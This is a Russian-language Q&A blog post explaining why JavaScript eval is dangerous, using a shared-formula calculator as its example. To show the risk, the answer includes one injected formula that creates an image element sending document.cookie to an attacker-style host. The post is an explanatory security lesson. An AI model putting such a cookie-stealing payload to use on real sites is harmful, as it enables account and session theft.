Страницы

Поиск по вопросам

пятница, 19 октября 2018 г.

Почему использование “eval” в языке JavaScript считается небезопасным?

В мире JavaScript разработчиков существует устоявшаяся фраза:
"Eval is evil" (eval — это зло)
Почему и в каких случаях использование eval в JavaScript является небезопасным? Если JavaScript выполняется на стороне клиента, то каким образом злоумышленник может взломать сайт?
Исполнять код позволяют стандартные инструменты разработчика многих браузеров: каждый желающий может исполнить JavaScript код, например, в браузере Google Chrome, введя этот код в консоль.
То есть, как мне кажется (поверхностно), единственное, что может сделать злоумышленник — это навредить самому себе, потому что все его изменения сможет увидеть только он. Однако существует мнение, что с помощью eval можно произвести кражу персональных данных других пользователей? Каков механизм?
Почему eval относят к небезопасным методам? Если кто-нибудь знает, какую конкретно угрозу может принести этот метод, пожалуйста, опишите ситуацию и приведите пример кода.


Ответ

Ну смотрите. Допустим, мы написали калькулятор в котором можно зарегистрироваться и обмениваться формулами (т.е. серверная часть где хранятся как минимум учетные данные пользователей). Цель атакующего - получение доступа к учетной записи пользователи, или администратора данного ресурса.
Сам калькулятор работает так: при нажатии какой-нибудь цифровой или с символом математической операций клавиши, мы добавляем его к строке expr, в результате у нас получается:
expr = '5 + 2 * 3';
Когда мы нажимаем знак "=" - то выполняется eval
var result = eval(expr);
Этап взлома: Если злоумышленник отправит формулу где помимо математического содержимого будет код на javascript, то тому кому это будет отправлено, вместе с формулой запустит и вредоносный скрипт. Формула, полученная от злоумышленника, может выглядеть так:
expr = '(document.createElement("img")).src="http://hacker885.ru/sniff?c=" + document.cookie, 5 + 2 * 3';
В результате: злоумышленник сможет: получить куки, доступ к local/session storage, к содержимому страницы, попытается закачать что-нибудь (вирус например).
Плюс: Если таким путем мы отправим это сообщение к администратору ресурса, то благодаря полученным нами правам, возможно сможем добраться до бекенда ресурса.
На месте калькулятора может быть что-то более весомое: например e-learning портал.
Как-то так)

p.s.
Немного не по теме, но хочу затронуть ибо встречается.
Честно говоря, найти задачу где было бы действительно необходимо использовать eval - сложно, все, что мне попадалось - было связано с подобием калькулятора или визуализатора математических формул.
Могу сказать, что при желании написать разбор математических выражений не сложно. В свободное время набросал такой вот парсер: http://jsfiddle.net/kadymov/6d79wmfg/4/ . Он немного не дописан, но уже работает, а занимает 150 строк.
Используйте конкретные средства для конкретных задач, а eval если где и оставлять - то только на стадии прототипа.

Комментариев нет:

Отправить комментарий